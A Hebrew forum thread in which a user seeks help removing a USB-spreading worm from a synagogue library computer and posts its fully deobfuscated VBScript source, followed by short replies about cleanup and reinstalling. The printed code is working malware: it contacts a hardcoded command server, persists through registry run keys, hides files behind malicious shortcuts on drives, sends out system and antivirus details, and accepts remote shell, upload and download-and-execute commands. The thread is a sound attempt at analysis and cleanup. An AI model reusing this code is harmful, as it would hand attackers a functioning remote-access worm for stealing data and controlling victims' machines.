                                    בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                                    cmd /c hrxxryydxo.vbs && start explorer [file name]
                                    

                                    הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                                    לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                                    תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                                    לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                                    z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                                    

                                    בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                                    לאחר פיענוח הקידוד התקבל הקוד הבא:
                                    אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                                    e
                                    '<[ recoder : houdini (c) skype : houdini-fx ]>
                                    
                                    '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                                    
                                    host = "khattab.no-ip.biz"
                                    port = 5550
                                    installdir = "%temp%"
                                    lnkfile = true
                                    lnkfolder = true
                                    
                                    '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                                    
                                    dim shellobj 
                                    set shellobj = wscript.createobject("wscript.shell")
                                    dim filesystemobj
                                    set filesystemobj = createobject("scripting.filesystemobject")
                                    dim httpobj
                                    set httpobj = createobject("msxml2.xmlhttp")
                                    
                                    '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                                    
                                    installname = wscript.scriptname
                                    startup = shellobj.specialfolders ("startup") & "\"
                                    installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                                    if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                                    spliter = "<" & "|" & ">"
                                    sleep = 5000 
                                    dim response
                                    dim cmd
                                    dim param
                                    info = ""
                                    usbspreading = ""
                                    startdate = ""
                                    dim oneonce
                                    
                                    '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                                    on error resume next
                                    
                                    instance
                                    while true
                                    
                                    install
                                    
                                    response = ""
                                    response = post ("is-ready","")
                                    cmd = split (response,spliter)
                                    select case cmd (0)
                                    case "excecute"
                                          param = cmd (1)
                                          execute param
                                    case "update"
                                          param = cmd (1)
                                          oneonce.close
                                          set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                          oneonce.write param
                                          oneonce.close
                                          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                          wscript.quit 
                                    case "uninstall"
                                          uninstall
                                    case "send"
                                          download cmd (1),cmd (2)
                                    case "site-send"
                                          sitedownloader cmd (1),cmd (2)
                                    case "recv"
                                          param = cmd (1)
                                          upload (param)
                                    case  "enum-driver"
                                          post "is-enum-driver",enumdriver  
                                    case  "enum-faf"
                                          param = cmd (1)
                                          post "is-enum-faf",enumfaf (param)
                                    case  "enum-process"
                                          post "is-enum-process",enumprocess   
                                    case  "cmd-shell"
                                          param = cmd (1)
                                          post "is-cmd-shell",cmdshell (param)  
                                    case  "delete"
                                          param = cmd (1)
                                          deletefaf (param) 
                                    case  "exit-process"
                                          param = cmd (1)
                                          exitprocess (param) 
                                    case  "sleep"
                                          param = cmd (1)
                                          sleep = eval (param)        
                                    end select
                                    
                                    wscript.sleep sleep
                                    
                                    wend
                                    
                                    sub install
                                    on error resume next
                                    dim lnkobj
                                    dim filename
                                    dim foldername
                                    dim fileicon
                                    dim foldericon
                                    
                                    upstart
                                    for each drive in filesystemobj.drives
                                    
                                    if  drive.isready = true then
                                    if  drive.freespace  > 0 then
                                    if  drive.drivetype  = 1 then
                                        filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                                        if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                            filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                                        end if
                                        for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                            if not lnkfile then exit for
                                            if  instr (file.name,".") then
                                                if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                                    file.attributes = 2+4
                                                    if  ucase (file.name) <> ucase (installname) then
                                                        filename = split(file.name,".")
                                                        set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                                        lnkobj.windowstyle = 7
                                                        lnkobj.targetpath = "cmd.exe"
                                                        lnkobj.workingdirectory = ""
                                                        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                                        fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                                        if  instr (fileicon,",") = 0 then
                                                            lnkobj.iconlocation = file.path
                                                        else 
                                                            lnkobj.iconlocation = fileicon
                                                        end if
                                                        lnkobj.save()
                                                    end if
                                                end if
                                            end if
                                        next
                                        for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                            if not lnkfolder then exit for
                                            folder.attributes = 2+4
                                            foldername = folder.name
                                            set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                            lnkobj.windowstyle = 7
                                            lnkobj.targetpath = "cmd.exe"
                                            lnkobj.workingdirectory = ""
                                            lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                            foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                            if  instr (foldericon,",") = 0 then
                                                lnkobj.iconlocation = folder.path
                                            else 
                                                lnkobj.iconlocation = foldericon
                                            end if
                                            lnkobj.save()
                                        next
                                    end If
                                    end If
                                    end if
                                    next
                                    err.clear
                                    end sub
                                    
                                    sub uninstall
                                    on error resume next
                                    dim filename
                                    dim foldername
                                    
                                    shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                                    shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                                    filesystemobj.deletefile startup & installname ,true
                                    filesystemobj.deletefile wscript.scriptfullname ,true
                                    
                                    for  each drive in filesystemobj.drives
                                    if  drive.isready = true then
                                    if  drive.freespace  > 0 then
                                    if  drive.drivetype  = 1 then
                                        for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                             on error resume next
                                             if  instr (file.name,".") then
                                                 if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                                     file.attributes = 0
                                                     if  ucase (file.name) <> ucase (installname) then
                                                         filename = split(file.name,".")
                                                         filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                                     else
                                                         filesystemobj.deletefile (drive.path & "\" & file.name)
                                                     end If
                                                 else
                                                     filesystemobj.deletefile (file.path) 
                                                 end if
                                             end if
                                         next
                                         for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                             folder.attributes = 0
                                         next
                                    end if
                                    end if
                                    end if
                                    next
                                    wscript.quit
                                    end sub
                                    
                                    function post (cmd ,param)
                                    
                                    post = param
                                    httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                                    httpobj.setrequestheader "user-agent:",information
                                    httpobj.send param
                                    post = httpobj.responsetext
                                    end function
                                    
                                    function information
                                    on error resume next
                                    if  inf = "" then
                                        inf = hwid & spliter 
                                        inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                                        inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                                    
                                        set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                        set os = root.execquery ("select * from win32_operatingsystem")
                                        for each osinfo in os
                                           inf = inf & osinfo.caption & spliter  
                                           exit for
                                        next
                                        inf = inf & "plus" & spliter
                                        inf = inf & security & spliter
                                        inf = inf & usbspreading
                                        information = inf  
                                    else
                                        information = inf
                                    end if
                                    end function
                                    
                                    sub upstart ()
                                    on error resume Next
                                    
                                    shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                                    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                                    filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                                    filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                                    
                                    end sub
                                    
                                    function hwid
                                    on error resume next
                                    
                                    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                    set disks = root.execquery ("select * from win32_logicaldisk")
                                    for each disk in disks
                                        if  disk.volumeserialnumber <> "" then
                                            hwid = disk.volumeserialnumber
                                            exit for
                                        end if
                                    next
                                    end function
                                    
                                    function security 
                                    on error resume next
                                    
                                    security = ""
                                    
                                    set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                    set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                                    for each objitem in colitems
                                        versionstr = split (objitem.version,".")
                                    next
                                    versionstr = split (colitems.version,".")
                                    osversion = versionstr (0) & "."
                                    for  x = 1 to ubound (versionstr)
                                         osversion = osversion &  versionstr (i)
                                    next
                                    osversion = eval (osversion)
                                    if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                                    
                                    set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                                    Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                                    
                                    for each objantivirus in colantivirus
                                        security  = security  & objantivirus.displayname & " ."
                                    next
                                    if security  = "" then security  = "nan-av"
                                    end function
                                    
                                    function instance
                                    on error resume next
                                    
                                    usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                                    if usbspreading = "" then
                                       if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                          usbspreading = "true - " & date
                                          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                       else
                                          usbspreading = "false - " & date
                                          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                    
                                       end if
                                    end If
                                    
                                    
                                    upstart
                                    set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                                    set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                                    if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                                        shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                                        wscript.quit 
                                    end If
                                    err.clear
                                    set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                                    if  err.number > 0 then wscript.quit
                                    end function
                                    
                                    sub sitedownloader (fileurl,filename)
                                    
                                    strlink = fileurl
                                    strsaveto = installdir & filename
                                    set objhttpdownload = createobject("msxml2.xmlhttp" )
                                    objhttpdownload.open "get", strlink, false
                                    objhttpdownload.send
                                    
                                    set objfsodownload = createobject ("scripting.filesystemobject")
                                    if  objfsodownload.fileexists (strsaveto) then
                                        objfsodownload.deletefile (strsaveto)
                                    end if
                                     
                                    if objhttpdownload.status = 200 then
                                       dim  objstreamdownload
                                       set  objstreamdownload = createobject("adodb.stream")
                                       with objstreamdownload
                                            .type = 1 
                                            .open
                                            .write objhttpdownload.responsebody
                                            .savetofile strsaveto
                                            .close
                                       end with
                                       set objstreamdownload = nothing
                                    end if
                                    if objfsodownload.fileexists(strsaveto) then
                                       shellobj.run objfsodownload.getfile (strsaveto).shortpath
                                    end if 
                                    end sub
                                    
                                    sub download (fileurl,filedir)
                                    
                                    if filedir = "" then 
                                       filedir = installdir
                                    end if
                                    
                                    strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                                    set objhttpdownload = createobject("msxml2.xmlhttp")
                                    objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                                    objhttpdownload.send ""
                                         
                                    set objfsodownload = createobject ("scripting.filesystemobject")
                                    if  objfsodownload.fileexists (strsaveto) then
                                        objfsodownload.deletefile (strsaveto)
                                    end if
                                    if  objhttpdownload.status = 200 then
                                        dim  objstreamdownload
                                        set  objstreamdownload = createobject("adodb.stream")
                                        with objstreamdownload 
                                             .type = 1 
                                             .open
                                             .write objhttpdownload.responsebody
                                             .savetofile strsaveto
                                             .close
                                        end with
                                        set objstreamdownload  = nothing
                                    end if
                                    if objfsodownload.fileexists(strsaveto) then
                                       shellobj.run objfsodownload.getfile (strsaveto).shortpath
                                    end if 
                                    end sub
                                    
                                    function upload (fileurl)
                                    
                                    dim  httpobj,objstreamuploade,buffer
                                    set  objstreamuploade = createobject("adodb.stream")
                                    with objstreamuploade 
                                         .type = 1 
                                         .open
                                         .loadfromfile fileurl
                                         buffer = .read
                                         .close
                                    end with
                                    set objstreamdownload = nothing
                                    set httpobj = createobject("msxml2.xmlhttp")
                                    httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                                    httpobj.send buffer
                                    end function
                                    
                                    function enumdriver ()
                                    
                                    for  each drive in filesystemobj.drives
                                    if   drive.isready = true then
                                         enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                                    end if
                                    next
                                    end Function
                                    
                                    function enumfaf (enumdir)
                                    
                                    enumfaf = enumdir & spliter
                                    for  each folder in filesystemobj.getfolder (enumdir).subfolders
                                         enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                                    next
                                    
                                    for  each file in filesystemobj.getfolder (enumdir).files
                                         enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                                    
                                    next
                                    end function
                                    
                                    function enumprocess ()
                                    
                                    on error resume next
                                    
                                    set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                                    set colitems = objwmiservice.execquery("select * from win32_process",,48)
                                    
                                    dim objitem
                                    for each objitem in colitems
                                        enumprocess = enumprocess & objitem.name & "|"
                                        enumprocess = enumprocess & objitem.processid & "|"
                                        enumprocess = enumprocess & objitem.executablepath & spliter
                                    next
                                    end function
                                    
                                    sub exitprocess (pid)
                                    on error resume next
                                    
                                    shellobj.run "taskkill /F /T /PID " & pid,7,true
                                    end sub
                                    
                                    sub deletefaf (url)
                                    on error resume next
                                    
                                    filesystemobj.deletefile url
                                    filesystemobj.deletefolder url
                                    
                                    end sub
                                    
                                    function cmdshell (cmd)
                                    
                                    dim httpobj,oexec,readallfromany
                                    
                                    set oexec = shellobj.exec ("%comspec% /c " & cmd)
                                    if not oexec.stdout.atendofstream then
                                       readallfromany = oexec.stdout.readall
                                    elseif not oexec.stderr.atendofstream then
                                       readallfromany = oexec.stderr.readall
                                    else 
                                       readallfromany = ""
                                    end if
                                    
                                    cmdshell = readallfromany
                                    end function
                                    
                                    ת מנותק
                                    ת מנותק
                                    תלמידהון
                                    כתב נערך לאחרונה על ידי
                                    #18

                                    @רנדומלי יש לך מה להפסיד מאיפוס מלא של המחשב?

                                    תגובה 1 תגובה אחרונה
                                    0
                                    • ר רנדומלי

                                      השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                                      מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                                      מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                                      גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                                      @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                                      מתכנת חובבמ מנותק
                                      מתכנת חובבמ מנותק
                                      מתכנת חובב
                                      מדריכים
                                      כתב נערך לאחרונה על ידי
                                      #19

                                      @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                      האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                                      היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

                                      צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                                      ר תגובה 1 תגובה אחרונה
                                      1
                                      • מתכנת חובבמ מתכנת חובב

                                        @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                        האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                                        היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

                                        ר מנותק
                                        ר מנותק
                                        רנדומלי
                                        כתב נערך לאחרונה על ידי
                                        #20

                                        @מתכנת-חובב
                                        השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                                        כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                                        @תלמידהון
                                        כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                        ת מתכנת חובבמ 2 תגובות תגובה אחרונה
                                        0
                                        • ר רנדומלי

                                          @מתכנת-חובב
                                          השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                                          כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                                          @תלמידהון
                                          כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                          ת מנותק
                                          ת מנותק
                                          תלמידהון
                                          כתב נערך לאחרונה על ידי
                                          #21

                                          @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                          השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                          אם יש לך אנטי וירוס מעודכן זה לא אמור לחזור

                                          תגובה 1 תגובה אחרונה
                                          1

                                          • התחברות

                                          • אין לך חשבון עדיין? הרשמה

                                          • התחברו או הירשמו כדי לחפש.
                                          • פוסט ראשון
                                            פוסט אחרון
                                          0
                                          • חוקי הפורום
                                          • פופולרי
                                          • לא נפתר
                                          • משתמשים
                                          • חיפוש גוגל בפורום
                                          • צור קשר